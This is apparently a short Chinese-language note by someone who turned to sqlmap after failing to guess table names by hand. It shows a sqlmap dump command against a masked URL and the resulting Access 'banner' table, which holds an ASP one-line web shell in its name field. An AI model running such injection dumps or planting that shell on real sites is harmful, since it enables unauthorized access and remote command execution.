在这之前试了一下手动猜解表，admin和administrator、acens都试过了，没有一个猜出来，感觉其他人写得文章里面的步骤两下就猜出表来了有点不可思议，果然还是要靠工具吗？于是用sqlmap试了一下
上了sqlmap就开始哗啦啦地跑，此处略去大量打印，总之跑完之后猜出了以下的东西

python XXXXXXXXX -u XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp?id=2 --dump -T banner -C"name,id"
Database: Microsoft_Access_masterdb
Table: banner
[3 entries]
+----+-------------------------------+------------------------------------------+
| id | name                          | picurl                                   |
+----+-------------------------------+------------------------------------------+
| 10 | NULL                          | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXg  |
| 3  | <%execute(request("admin"))%> | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXXg |
| 4  | NULL                          | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXXg |
+----+-------------------------------+------------------------------------------+